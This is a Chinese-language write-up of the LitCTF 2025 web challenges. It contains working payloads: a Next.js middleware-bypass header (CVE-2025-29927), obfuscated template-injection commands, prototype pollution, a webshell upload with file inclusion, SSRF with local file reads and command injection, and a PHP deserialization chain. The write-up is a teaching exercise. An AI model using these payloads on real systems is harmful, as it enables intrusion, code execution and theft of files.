web
nest_js
考点:cve-2025-29927绕过中间件权限
先来一个cve-2025-29927绕过中间件权限,其实就是根路由打下面的请求头
1
|
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
|
CVE-2025-29927 Next.js 中间件权限绕过漏洞复现 - CVE-柠檬i - 博客园
CVE-2025-29927 Next.js 中间件权限绕过漏洞复现 - CVE-柠檬i - 博客园
出现新的Etag,替换一下给If-None-Match,然后访问/dashboard即可
非预期是直接爆破,刚好是弱密码,admin/password
星愿信箱
稍微测一下,过滤了{{}},用{%print()%}代替
先打几个通用payload,这万能payload真不错,秒了。
1
|
{%print(joiner["\x5f\x5f\x69\x6e\x69\x74\x5f\x5f"]["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]["\x6f\x73"]["\x70\x6f\x70\x65\x6e"]("ls /")["\x72\x65\x61\x64"]())%}
|
1
|
{%print(joiner["\x5f\x5f\x69\x6e\x69\x74\x5f\x5f"]["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]["\x6f\x73"]["\x70\x6f\x70\x65\x6e"]("t""ac /f*")["\x72\x65\x61\x64"]())%}
|
多重宇宙日记
考点:原型污染链
一看当原型污染链有点慌,发现没给源码直接越加慌,结果比赛结束直接傻了
随便注册一个账户,然后右键就可查看源码
发现一个参数是isAdmin,然后直接打污染链
1
2
3
4
5
6
7
|
{
"settings": {
"__proto__": {
"isAdmin": true
}
}
}
|
然后就出现了一个管理员面板,登进去就有flag
显然,这题就要将问题想简单一点,逻辑仅仅如下
1
|
当系统检查isAdmin属性时,对象本身没有这个属性, 系统会沿着原型链向上查找,如果我们在原型链上污染了这个属性,系统就会找到这个被污染的值,从而获得管理员面板拿到flag
|
easy_file
考点简单的文件上传夹文件包含
先随便登入发现账户密码被base64编码处理了,直接爆破密码(记得base64编码)得到弱密码admin/password
然后是文件上传,后缀检测,内容检测过滤php,直接短标签绕过,发现上传成功
但是发现上传不了.user.ini,无法进行包含图片马,怎么办,仔细看看前面登入页面,其源码最下面发现一个信息

而文件上传就是上传头像,所以就查看头像url?file=/var/www/html/uploads/shell.jpg,发现竟然有GIF89回显,猜测进行了文件包含,那就试试执行命令,果然是!那就拿flag

此题不难,就是考验细节,写不出说明细节不到位
easy_signin
md5爆破用户密码+X-Sign与时间戳验证登入+简单的ssrf
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
|
// 获取登录按钮元素
const loginBtn = document.getElementById('loginBtn');
// 获取密码输入框元素
const passwordInput = document.getElementById('password');
// 获取错误提示元素
const errorTip = document.getElementById('errorTip');
// 获取用户名输入框的值
const rawUsername = document.getElementById('username').value;
// 为登录按钮添加点击事件监听器
loginBtn.addEventListener('click', async () => {
// 获取密码输入框的值并去除首尾空格
const rawPassword = passwordInput.value.trim();
// 如果密码为空
if (!rawPassword) {
// 显示错误提示,要求输入密码
errorTip.textContent = '请输入密码';
errorTip.classList.add('show');
// 将焦点聚焦到密码输入框
passwordInput.focus();
// 结束当前函数执行
return;
}
// 使用 CryptoJS 的 MD5 方法对用户名进行加密
const md5Username = CryptoJS.MD5(rawUsername).toString();
// 使用 CryptoJS 的 MD5 方法对密码进行加密
const md5Password = CryptoJS.MD5(rawPassword).toString();
// 截取加密后的用户名的前 6 位
const shortMd5User = md5Username.slice(0, 6);
// 截取加密后的密码的前 6 位
const shortMd5Pass = md5Password.slice(0, 6);
// 获取当前时间戳,用于签名生成和防止重放攻击
const timestamp = Date.now().toString();
// 设置签名密钥
const secretKey = 'easy_signin';
// 使用 MD5 方法对拼接后的字符串进行加密生成签名
const sign = CryptoJS.MD5(shortMd5User + shortMd5Pass + timestamp + secretKey).toString();
try {
// 使用 fetch 方法向服务器发送登录请求
const response = await fetch('login.php', {
// 设置请求方法为 POST
method: 'POST',
// 设置请求头
headers: {
// 设置内容类型为表单数据
'Content-Type': 'application/x-www-form-urlencoded',
// 将生成的签名添加到请求头中
'X-Sign': sign
},
// 设置请求体,包含用户名、密码和时间戳
body: new URLSearchParams({
username: md5Username,
password: md5Password,
timestamp: timestamp
})
});
// 解析服务器返回的 JSON 数据
const result = await response.json();
// 如果服务器返回的登录状态码为 200(表示登录成功)
if (result.code === 200) {
// 弹出提示框,显示登录成功消息
alert('登录成功!');
// 跳转到后台主页
window.location.href = 'dashboard.php';
} else {
// 如果登录失败,显示错误提示信息
errorTip.textContent = result.msg;
errorTip.classList.add('show');
// 清空密码输入框
passwordInput.value = '';
// 将焦点聚焦到密码输入框
passwordInput.focus();
// 3 秒后隐藏错误提示
setTimeout(() => errorTip.classList.remove('show'), 3000);
}
} catch (error) {
// 如果网络请求失败,显示错误提示
errorTip.textContent = '网络请求失败';
errorTip.classList.add('show');
// 3 秒后隐藏错误提示
setTimeout(() => errorTip.classList.remove('show'), 3000);
}
});
// 为密码输入框添加输入事件监听器
passwordInput.addEventListener('input', () => {
// 当用户输入密码时,移除错误提示的显示样式
errorTip.classList.remove('show');
});
|
看源码,知js将用户密码进行md5加密处理,和上题一样,进行爆破,用户密码进行md5加密,得到admin/admin123
但是直接改用户密码发包不行,因为有时间戳与X-Sign影响,所以写代码发送,直接将源码的js代码改成python代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
|
import requests
import hashlib
import time
import json
def md5(text):
"""计算MD5值"""
return hashlib.md5(text.encode()).hexdigest()
def generate_sign(username, password, timestamp, secret_key='easy_signin'):
"""生成签名"""
# 计算用户名和密码的MD5
md5_username = md5(username)
md5_password = md5(password)
# 取前6位
short_md5_user = md5_username[:6]
short_md5_pass = md5_password[:6]
# 生成签名
sign_str = short_md5_user + short_md5_pass + timestamp + secret_key
return md5(sign_str)
def try_login(username, password):
"""尝试登录"""
# 获取时间戳
timestamp = str(int(time.time() * 1000))
# 计算MD5
md5_username = md5(username)
md5_password = md5(password)
# 生成签名
sign = generate_sign(username, password, timestamp)
# 构造请求头
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'X-Sign': sign
}
# 构造请求数据
data = {
'username': md5_username,
'password': md5_password,
'timestamp': timestamp
}
try:
# 创建会话对象
session = requests.Session()
# 发送请求
response = session.post('http://node6.anna.nssctf.cn:23038/login.php',
headers=headers,
data=data)
# 打印请求信息
print("\n=== 请求信息 ===")
print(f"URL: {response.request.url}")
print("\n请求头:")
for key, value in response.request.headers.items():
print(f"{key}: {value}")
print("\n请求体:")
print(response.request.body)
# 打印响应信息
print("\n=== 响应信息 ===")
print(f"状态码: {response.status_code}")
print("\n响应头:")
for key, value in response.headers.items():
print(f"{key}: {value}")
print("\n响应体:")
print(response.text)
return response
except Exception as e:
print(f"[-] 请求失败: {str(e)}")
return None
if __name__ == "__main__":
# 已知的用户名和密码
username = "admin"
password = "admin123"
# 尝试登录
response = try_login(username, password)
if response:
print("\n[+] 登录请求已发送")
print(f"[+] 用户名: {username}")
print(f"[+] 密码: {password}")
|
然后将得到的X-Sign与账户密码替换一下,然后发包,这样就登入成功了
然后看给的源码可以访问dashboard.php路由,登入发现给了backup/8e0132966053d4bf8b2dbe4ede25502b.php,登入发现要本地用户。继续看,发现这个登入页面源码藏了一个api.js,内容是
1
|
/api/sys/urlcode.php?url=
|
要本地用户这里就打ssrf
1
2
|
/api/sys/urlcode.php?url=127.0.0.1/backup/8e0132966053d4bf8b2dbe4ede25502b.php
#也可以本地读文件/api/sys/urlcode.php?url=file:///var/www/html/backup/8e0132966053d4bf8b2dbe4ede25502b.php
|
1
|
api/sys/urlcode.php?url=127.0.0.1/backup/8e0132966053d4bf8b2dbe4ede25502b.php?name=ls${IFS}../ #空格被过滤了,用${IFS},%2520也行,就是空格编码2次,因为SSRF了一次
|
然后这里还读不了要直接访问/327a6c4304ad5938eaf0efb6cc3e53dc.php,最后拿到flag
非预期·:
直接读urlcode.php
1
|
api/sys/urlcode.php?url=file:///var/www/html/api/sys/urlcode.php
|
在里面发现可以路由327a6c4304ad5938eaf0efb6cc3e53dc.php访问即可
此题还是很好的,难度不是很难,但是赛场很难写出来,需要非常细。
君の名は
原生类调用匿名函数+ArrayObject包裹绕过正则+爆破找到匿名函数名
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
<?php
highlight_file(__FILE__);
error_reporting(0);
create_function("", 'die(`/readflag`);');
class Taki
{
private $musubi;
private $magic;
public function __unserialize(array $data)
{
$this->musubi = $data['musubi'];
$this->magic = $data['magic'];
return ($this->musubi)();
}
public function __call($func,$args){
(new $args[0]($args[1]))->{$this->magic}();
}
}
class Mitsuha
{
private $memory;
private $thread;
public function __invoke()
{
return $this->memory.$this->thread;
}
}
class KatawareDoki
{
private $soul;
private $kuchikamizake;
private $name;
public function __toString()
{
($this->soul)->flag($this->kuchikamizake,$this->name);
return "call error!no flag!";
}
}
$Litctf2025 = $_POST['Litctf2025'];
if(!preg_match("/^[Oa]:[\d]+/i", $Litctf2025)){
unserialize($Litctf2025);
}else{
echo "把O改成C不就行了吗,笨蛋!~(∠・ω< )⌒☆";
}
|
此题链子很简单,但是获得flag有点难,这里很显然是下面
1
2
3
4
5
6
7
|
create_function("", 'die(/readflag);'); #创造匿名函数,执行/readflag然后终止脚本
#上述匿名函数的创建与执行过程等价于下面
<?php
function lambda_1('','die(/readflag);'){
return die(/readflag);
}
?>
|
PHP代码审计之create_function()函数 - My_Dreams - 博客园
所以我们就要调用这个匿名函数,所以思路就是
1
2
|
找到一个可以调用匿名函数的原生类
找到匿名函数的名字
|
发现ReflectionFunction的invoke方法可以
1
2
3
4
5
6
|
还有一个知识点就是__call($func,$args)的传参问题:
假如我们触发__call($func,$args)调用的函数是
flag($arg1,$arg2)
那么触发__call($func,$args)时$func就会被赋值为"flag";$args就会被赋值为flag()的参数构成的数组。所以要给$args赋值需要在flag()的参数里赋值。
|
1
2
3
4
5
6
7
8
|
绕过正则的化
这里用一个类来对链子进行包装,然后开头的O就会被自动转换为C
可以使用的类有很多:
ArrayObject::unserialize
ArrayIterator::unserialize
RecursiveArrayIterator::unserialize
SplObjectStorage::unserialize
|
php反序列化 | 晨曦的个人小站
所以有exp是
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
|
<?php
create_function("", 'die(`/readflag`);');
class Taki
{
public $musubi;
public $magic;
public function __unserialize(array $data)
{
$this->musubi = $data['musubi'];
$this->magic = $data['magic'];
return ($this->musubi)();
}
public function __call($func,$args){
(new $args[0]($args[1]))->{$this->magic}();
}
}
class Mitsuha
{
public $memory;
public $thread;
public function __invoke()
{
return $this->memory.$this->thread;
}
}
class KatawareDoki
{
public $soul;
public $kuchikamizake;
public $name;
public function __toString()
{
($this->soul)->flag($this->kuchikamizake,$this->name);
return "call error!no flag!";
}
}
$a=new Taki();
$a->musubi=new Mitsuha();
$a->musubi->memory=new KatawareDoki();
$a->musubi->memory->kuchikamizake='ReflectionFunction';
$a->musubi->memory->name="\00lambda_10";
$a->musubi->memory->soul=new Taki();
$a->musubi->memory->soul->musubi='time';#目的就是让return ($this->musubi)();这一步不报错,保证程序完整进行,但是我的php环境是8点多,这个代码要在7.2下运行(create_function()函数在PHP 7.2.0版本中已经被废弃),所以我拉了一个7.1的docker环境运行此代码,发现其实不要此行也可以执行
$a->musubi->memory->soul->magic='invoke';
$aa=new Arrayobject($a);
$payload=serialize($aa);
$payload=str_replace("\00","%00",$payload);
echo $payload;
|
1
|
C:11:"ArrayObject":278:{x:i:0;O:4:"Taki":2:{s:6:"musubi";O:7:"Mitsuha":2:{s:6:"memory";O:12:"KatawareDoki":3:{s:4:"soul";O:4:"Taki":2:{s:6:"musubi";s:4:"time";s:5:"magic";s:6:"invoke";}s:13:"kuchikamizake";s:18:"ReflectionFunction";s:4:"name";s:10:"%00lambda_10";}s:6:"thread";N;}s:5:"magic";N;};m:a:0:{}}
|
1
|
因为create_function()创造的匿名函数(lambda样式),名字我们不知道会是多少,所以我上面一lamba_10为序号来进行爆破
|
非预期:直接($this->musubi)();调用匿名函数
1
2
3
4
5
6
7
8
9
10
11
12
13
|
<?php
highlight_file(__FILE__);
error_reporting(0);
class Taki
{
public $musubi = "\000lambda_1";
public $magic = "";
}
$a = new Taki();
$arr=array("evil"=>$a);
$d=new ArrayObject($arr);
echo urlencode(serialize($d));
|
2025LitCTF–web全解 - TouHp - 博客园
Litctf2025-君の名はwp - Litsasuk - 博客园
1
|
至此,web复现完,这里许多题都是爆破用户密码开路,之后还得多爆破爆破,然后就是考的很细,题目的提示得多看看,要耐住性子做题
|